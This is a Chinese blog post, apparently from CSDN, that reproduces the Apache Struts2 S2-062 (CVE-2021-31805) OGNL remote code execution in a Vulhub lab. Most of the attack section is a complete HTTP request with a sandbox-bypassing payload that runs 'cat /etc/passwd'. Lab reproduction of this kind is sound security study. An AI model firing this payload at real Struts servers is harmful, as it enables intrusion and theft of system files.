Struts2 远程代码执行漏洞S2-062 (CVE-2021-31805)

最新推荐文章于 2024-07-25 09:03:24 发布

白_文

最新推荐文章于 2024-07-25 09:03:24 发布

阅读量91

点赞数

文章标签： struts java 后端网络安全

本文链接：https://blog.csdn.net/qq_43175881/article/details/133390476

版权

漏洞概述

此次 Apache Struts2 漏洞为 CVE-2020-17530 ( S2-061 )的修复不完整，导致输入验证不正确。

如果开发人员使用%{…} 语法进行强制 OGNL 解析，仍有一些特殊的 TAG 属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。
开发人员使用%{…} 语法进行强制 OGNL 解析，有一些特殊的TAG属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

环境介绍

靶机（centos7.8）
攻击机（win10）

影响版本

Struts 2.0.0 - Struts 2.5.29

环境搭建

Vulhub 环境下载（https://vulhub.org/#/docs/download-vulhub/）
靶机执行 git clone https://github.com/vulhub/vulhub.git后
出现vulhub目录
在这里插入图片描述

### 进入此目录
cd /vulhub/struts2/s2-061
### 查看struts2 版本是否为2.5.25
cat  docker-compose.yml 
###version: '2'
###services:
### struts2:
###   image: vulhub/struts2:2.5.25
###   ports:
###   - "8080:8080"

### 运行docker
docker-compose up -d

复现过程

访问靶机ip：8080

在这里插入图片描述

抓包发送接收返回数据

在这里插入图片描述

POST /index.action HTTP/1.1
Host: 靶机ip:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1191

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—